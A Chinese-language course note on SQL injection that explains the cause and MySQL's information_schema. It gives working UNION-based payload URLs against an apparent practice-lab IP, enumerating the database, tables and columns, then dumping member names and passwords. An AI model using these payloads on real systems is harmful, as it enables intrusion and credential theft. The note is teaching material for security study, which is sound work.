12 WEB漏洞-SQL注入
免責宣告: 內容僅用於技術研究,禁止使用文章中的技術進行非法行為,如利用文章中技術進行非法行為造成的後果與本文作者無關。
前言: 在本體系學習中,SQL注入漏洞將是重點部分,其中SQL注入又非常複雜,區分各種資料庫型別,提交方法,資料型別等注入,我們需要按部就班的學習,才能學會相關SQL注入的核心。同樣此類漏洞是WEB安全中嚴重的安全漏洞,學習如何利用,挖掘,修復也是很重要的。
忍者安全測試系統使用說明
#上述思維導圖簡要說明
#SQL注入安全測試中危害
#SQL注入產生原理詳細分析
可控變數,帶入資料庫查詢,變數未存在過濾或過濾不嚴謹
#搭建第一個SQL注入學習靶場環境
#學習第一個資料庫MYSQL簡單注入
如何判斷注入點?
老辦法:
and 1=1 頁面正常
and 1=2 頁面錯誤
可能存在注入點
要選用最舒服的方法測試
MYSQL資料庫
資料庫A=網站A=資料庫使用者A
表名
列名
資料
資料庫B=網站B=資料庫使用者B
。。。。。
資料庫C=網站C=資料庫使用者C
。。。。。
知識點:
在MYSQL5.0以上版本中,mysql存在一個自帶資料庫名為information_schema,它是一個儲存記錄有所有資料庫名,表名,列名的資料庫,也相當於可以通過查詢它獲取指定資料庫下面的表名或列名資訊。
資料庫中符號"."代表下一級,如xiao.user表示xiao資料庫下的user表名
information_schema.tables:記錄所有表名資訊的表 information_schema.columns:記錄所有列名資訊的表 table_name: 表名 column_name:列名 table_schema:資料庫名
判斷注入
猜解列名數量(欄位數) order by x 錯誤與正常的正常值
http://219.153.49.228:48354/new_list.php?id=1 order by 4
報錯猜解準備:
http://219.153.49.228:48354/new_list.php?id=1%20union%20select%201,2,3,4
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,2,3,4
資訊收集:
資料庫版本:version() 5.7.22-0ubuntu0.16.04.1 資料庫名字:database() mozhe_Discuz_StormGroup 資料庫使用者:user() root@localhost 作業系統:@@version_compile_os Linux
查詢指定資料庫名mozhe_Discuz_StormGroup下的表名資訊:
http://219.153.49.228:48354/new_list.php?id=-1 union select
1,group_concat(table_name),3,4 from information_schema.tables where
table_schema='mozhe_Discuz_StormGroup'
查詢指定表名StormGroup_member下的列名資訊:
http://219.153.49.228:48354/new_list.php?id=-1 union select
1,group_concat(column_name),3,4 from information_schema.columns where
table_name='StormGroup_member'
查詢指定資料
http://219.153.49.228:48354/new_list.php?id=-1 union select
1,name,password,4 from StormGroup_member
#猜解多個數據可以採用limit x,1 變動猜解
案例演示:
✧ 簡易程式碼分析SQL注入原理
✧ Sqlilabs注入靶場搭建簡要使用
✧ 墨者靶機真實MYSQL注入演示
涉及資源:
忍者安全測試系統-禁用軟盤安裝